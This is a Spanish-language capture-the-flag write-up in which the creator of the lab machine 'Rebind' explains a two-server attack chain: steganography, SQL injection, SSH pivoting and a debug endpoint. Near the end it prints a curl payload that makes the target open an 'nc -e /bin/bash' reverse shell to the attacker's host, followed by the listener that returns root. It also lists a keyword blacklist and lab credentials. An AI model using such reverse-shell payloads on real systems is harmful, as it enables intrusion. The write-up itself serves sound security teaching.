# Rebind: una cadena diseñada para enseñar cómo pequeños fallos terminan en compromiso total
Table of Contents
Máquina creada por: Oscar
Plataforma: The Hackers Labs
Sistema operativo: Linux
Dificultad: Avanzada
Sobre este CTF
Este laboratorio lo diseñé como una cadena en dos fases, no como una máquina aislada ni como una colección de trucos independientes. La idea era obligar a leer el contexto completo: primero entender cómo una pista aparentemente decorativa en el servidor inicial termina siendo útil, después utilizar ese acceso para desbloquear un segundo sistema que, en condiciones normales, no expone superficie útil.
La máquina está construida para enseñar una secuencia concreta de errores: exposición innecesaria de información en una web, uso de esteganografía como canal de entrega de una pista real, una inyección SQL que no solo sirve para extraer datos sino para reconstruir una contraseña a partir de fragmentos, y finalmente una fase en la que el acceso a un segundo servidor depende tanto de credenciales válidas como de estar en la red correcta. El cierre de la cadena llega con un servicio que se activa tras autenticación y que contiene una funcionalidad de depuración mal resuelta, suficiente para terminar en ejecución remota como root.
El valor del laboratorio no está en llegar al final, sino en entender por qué cada fase existe y qué representa. Quise que el recorrido dejara claro que muchos compromisos reales no dependen de una única vulnerabilidad crítica, sino de varias decisiones pequeñas que, combinadas, abren una ruta completa.
Información técnica
| Campo | Valor |
|---|---|
| Nombre | servidor1 / servidor2 |
| IP objetivo | 10.0.1.13 y 10.0.50.100 |
| Servicios | SSH, MySQL, Redis, HTTP en 8080, servicio web temporal en 5000 |
| Cadena principal | pista en web → esteganografía → SQLi → acceso SSH condicionado → activación de servicio → abuso de endpoint de depuración |
| Dificultad | media |
Descubrimiento de la máquina
El laboratorio arranca realmente en servidor2, pero ese sistema está planteado como un señuelo inicial: no expone puertos útiles hasta que el jugador resuelve antes servidor1.
sudo nmap -p- --open -sSCV --min-rate 3000 10.0.50.100 -vvvEl resultado inicial no ofrecía superficie de ataque práctica. Eso no era un bloqueo arbitrario, sino una decisión de diseño: quería que quedara claro que no todo servicio debe ser atacable de forma inmediata y que, en algunos entornos, la exposición real depende de acciones previas, autenticaciones o cambios de estado.
Ese planteamiento obliga a dejar de pensar en hosts aislados y a leer el laboratorio como una cadena. Por eso la enumeración útil comienza en servidor1.
Reconocimiento de servidor1
La enumeración del primer host sí mostraba una superficie clara:
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u33306/tcp open mysql MySQL (unauthorized)6379/tcp open redis? protected mode8080/tcp open http Apache httpd 2.4.62 ((Debian))33060/tcp open mysqlx?A nivel de diseño, aquí quise representar algo bastante habitual: varios servicios visibles, pero solo uno de verdad útil para construir contexto. Ni MySQL ni Redis eran el camino directo en esta fase. Redis, de hecho, respondía con el mensaje de protected mode, lo que servía para introducir ruido razonable y recordar que la mera exposición de un puerto no siempre equivale a una vía explotable.
La pieza importante era la web en el puerto 8080.
Enumeración web y pista embebida
El código fuente de la aplicación mostraba varios detalles relevantes:
<!DOCTYPE html><html lang="es"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Reto de Navidad</title> <link rel="stylesheet" href="style.css"></head><body> <div class="container"> <h1>🎄 Bienvenido a la Noche Helada 🎄</h1> <p>Entre la nieve y las sombras, alguien dejó un mensaje...</p> <p class="mensaje"> "Cuando la oscuridad te envuelva, busca las palabras perdidas<br> y la contraseña te mostrará el camino". </p> <p>Acceso SSH: <b>ssh finaluser@IP</b> / <b>1234</b></p> <p>Pero cuidado... no todo lo que brilla es una pista.</p> <p>thehackerslabs.com</p> </div></body></html>El mensaje visible ya sugería dos ideas: había que “buscar las palabras perdidas” y la contraseña no iba a aparecer de forma directa. Además, la referencia a thehackerslabs.com parecía decorativa, pero en realidad estaba colocada para ser reutilizada más adelante.
En el CSS aparecía la imagen de fondo:
body { margin: 0; padding: 0; background-image: url('img/background.jpg'); background-size: cover; background-position: center; background-attachment: fixed; color: #ddd; font-family: 'Arial', sans-serif; text-align: center;}Aquí la intención de diseño era muy concreta: enseñar que el frontend también forma parte de la superficie de ataque. No solo el HTML, también recursos estáticos, comentarios, nombres de archivos y contenido multimedia pueden actuar como portadores de información útil. En auditorías reales esto aparece con frecuencia en forma de ficheros olvidados, imágenes con metadatos, binarios de cliente o assets publicados sin revisión.
Esteganografía como canal de entrega
La imagen background.jpg contenía información adjunta. El uso de steghide con la cadena sugerida en la propia página permitió extraer un mensaje:
steghide extract -sf background.jpg -p "thehackerslabs.com"cat mensaje.txtResultado:
thl.rebindEsa cadena llevaba a un nuevo punto de entrada dentro del mismo laboratorio. No me interesaba usar la esteganografía como truco aislado, sino como forma de forzar una enumeración menos superficial. La enseñanza aquí es simple: cuando una aplicación parece demasiado pobre para justificar el escenario, normalmente hay que revisar lo accesorio, no insistir a ciegas contra el mismo endpoint.
Enumeración del dominio y acceso a la parte vulnerable
Una vez resuelto el nombre thl.rebind, aparecía una funcionalidad que exigía realizar la inyección SQL correctamente. En las notas no se conserva toda la secuencia de payloads, pero sí el resultado relevante: de esa fase se obtuvieron cuatro bloques codificados en Base64.
QWJjMTIzWHl6NDU2UXd1Nzg5UnR5MDAwV1lvMTEzUGFzMjIySmtseDMzM01ubzQ0NA==Decodificados:
echo "QWJjMTIzWHl6NDU2" | base64 -d # Abc123Xyz456echo "UXd1Nzg5UnR5MDAw" | base64 -d # Qwe789Rty000echo "V1lvMTEzUGFzMjIy" | base64 -d # Uio111Pas222echo "SmtseDMzM01ubzQ0NA==" | base64 -d # Jklx333Mno444Concatenación inicial:
Abc123Xyz456Qwe789Rty000Uio111Pas222Jklx333Mno444Esta parte del laboratorio estaba pensada para que la inyección no se percibiera como un fin en sí mismo. Extraer datos desde SQL era solo el paso intermedio. Lo importante era interpretar la salida y reconstruir una credencial a partir de fragmentos con patrón. En una intrusión real, muchas veces el problema no es exfiltrar el dato, sino reconocer cuál de todos los datos extraídos es operativo y cuál contiene ruido o manipulación.
Obtención de acceso inicial y validación lógica de la contraseña
La propia web incluía una pista adicional:
Acceso SSH: ssh grinch@10.0.1.13 / felicidadCon esa información fue posible autenticarse por SSH como grinch, pero el acceso estaba condicionado a introducir una “contraseña mágica” adicional:
ssh grinch@10.0.1.13Al introducir la concatenación obtenida directamente, el sistema respondía:
🕵️ Hmm... Todo parece correcto, pero...📜 Todo sigue un patrón lógico, pero a veces un impostor altera la melodía final.La clave no era puramente técnica, sino de análisis. Los cuatro bloques seguían un patrón alfabético y numérico coherente, salvo una x sobrante en el último fragmento. Ajustando esa anomalía, la contraseña válida quedaba así:
Abc123Xyz456Qwe789Rty000Uio111Pas222Jkl333Mno444Ese era un punto importante en el diseño de la máquina. No quería que todo se resolviera acumulando comandos. Quise introducir una fase donde el progreso dependiera de observar regularidades, detectar una corrupción mínima y corregirla. Ese tipo de validación es muy útil fuera del CTF: credenciales truncadas, datos alterados por formato, secretos montados con partes inconsistentes o cadenas deliberadamente contaminadas son problemas bastante plausibles en escenarios reales.
La ejecución correcta devolvía la transición al segundo servidor:
Servidor 2: 10.0.50.100:22trueno / !x2T#9aL@Mv¡Recuerda...! Pareces listo... pero solo los elfos con suerte saben que 10.0.5.80 es el camino.Pivoting hacia servidor2
Con credenciales válidas para servidor2, una conexión directa desde la red 10.0.50.0/24 no funcionaba como cabría esperar. La pista entregada durante la fase anterior apuntaba a otra dirección local, y tras ajustar la interfaz del atacante para adoptar la IP adecuada, el comportamiento cambió.
ssh trueno@10.0.50.100Respuesta:
El servicio ha sido iniciado. Cerrando sesion...A partir de ese momento, un nuevo escaneo del host mostraba una superficie distinta:
22/tcp open ssh5000/tcp open upnp?Quise que esta fase enseñara dos cosas. La primera, que disponer de credenciales no siempre equivale a disponer de acceso útil: el contexto de red importa. La segunda, que existen servicios que solo aparecen tras una autenticación previa, un disparador o una condición operacional concreta. En infraestructuras internas esto puede verse en paneles efímeros, servicios de mantenimiento temporales o procesos de inicialización activados por usuarios concretos.
Análisis del servicio temporal en el puerto 5000
El servicio expuesto en 5000/tcp presentaba una interfaz web con restricciones sobre determinadas palabras clave. Si se repetían cuatro veces, el servicio se apagaba por seguridad. Las cadenas filtradas eran:
__import__ossystem_evalsubprocesssusudoEsa defensa estaba puesta para representar un error bastante típico: confiar en bloqueos por palabras prohibidas en lugar de eliminar realmente la capacidad peligrosa. El objetivo no era construir un sandbox robusto, sino mostrar lo endeble que resulta una validación basada en listas negras cuando detrás existe un mecanismo de ejecución insuficientemente aislado.
Además, durante la enumeración aparecía un directorio /debug que no aceptaba GET, lo que indicaba una funcionalidad accesible por otro método HTTP.
Abuso del endpoint de depuración
El comportamiento de /debug sugería que el servicio esperaba una petición POST con contenido JSON. Con esa hipótesis se envió el siguiente payload:
curl -X POST \ -H "Content-Type: application/json" \ -d '{"code": "nc -e /bin/bash 10.0.50.80 8945"}' \ http://10.0.50.100:5000/debugEn el atacante, un listener confirmó la ejecución remota:
sudo nc -lvnp 8945Y la conexión devolvió contexto de root:
connect to [10.0.50.80] from (UNKNOWN) [10.0.50.100] 57496whoamirootEsta era la culminación de toda la cadena. Técnicamente no hacía falta una explotación compleja: bastaba con entender que el servicio exponía una funcionalidad de depuración capaz de ejecutar código arbitrario o comandos del sistema sin separación efectiva. A nivel de diseño, esa era precisamente la lección. Muchas brechas no llegan por una vulnerabilidad sofisticada, sino por herramientas internas, paneles de test, modos debug o endpoints pensados para desarrollo que terminan accesibles desde donde no deberían.
Escalada de privilegios
En este caso la escalada no fue una fase separada, porque el propio abuso del endpoint de depuración ya entregaba una shell como root.
whoamirootcd /lsbin boot dev etc home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.oldDiseñé así el cierre de la máquina porque el foco no estaba en encadenar una post-explotación larga, sino en mostrar que una mala exposición de capacidades de depuración puede equivaler directamente a compromiso total. Es una idea importante: no toda escalada necesita un local privilege escalation clásico. A veces el privilegio ya venía implícito en el servicio vulnerable.
Qué quería enseñar al diseñar este CTF
La intención del laboratorio era enseñar una cadena coherente, donde cada paso tuviera sentido por sí mismo y también como preparación del siguiente. No me interesaba una sucesión de pruebas inconexas, sino una progresión donde la enumeración, la interpretación de pistas, el contexto de red y la exposición insegura de herramientas internas formasen parte del mismo problema.
| Fase | Qué enseña | Error representado |
|---|---|---|
| Web inicial | La superficie visible rara vez es toda la superficie real | Pistas y recursos expuestos sin revisión |
| Imagen con stego | Los ficheros auxiliares también pueden contener secretos operativos | Publicación insegura de recursos estáticos |
| Dominio oculto y SQLi | Extraer datos no basta; hay que interpretarlos correctamente | Entrada vulnerable y protección insuficiente |
| Reconstrucción de contraseña | El análisis lógico complementa a la técnica | Secretos fragmentados o contaminados |
| Acceso a servidor2 | Las credenciales dependen del contexto de red | Segmentación, control de origen y servicios condicionados |
| Servicio en 5000 | Los servicios temporales o internos también cuentan | Exposición de paneles o componentes auxiliares |
Endpoint /debug | Una funcionalidad de depuración puede equivaler a RCE directa | Debug inseguro y filtros basados en blacklist |
| Shell root | El impacto final depende del privilegio del servicio expuesto | Ejecución de procesos privilegiados sin aislamiento |
En conjunto, la máquina representa una idea que me interesaba dejar clara: un compromiso serio puede salir de elementos que por separado parecen menores. Una pista en una imagen, una inyección que devuelve datos parciales, una credencial condicionada por la red, y un endpoint de depuración aparentemente secundario terminan formando una ruta completa hacia root. Ese encadenamiento es precisamente lo que quería enseñar al construir este laboratorio.
Recursos y referencias
nmappara enumeración de servicios y validación de cambios de exposición.steghidepara extracción de datos embebidos en imágenes.base64para reconstrucción y análisis de credenciales fragmentadas.curlpara interacción manual con endpoints no documentados.netcatpara validación de ejecución remota y recepción de shell.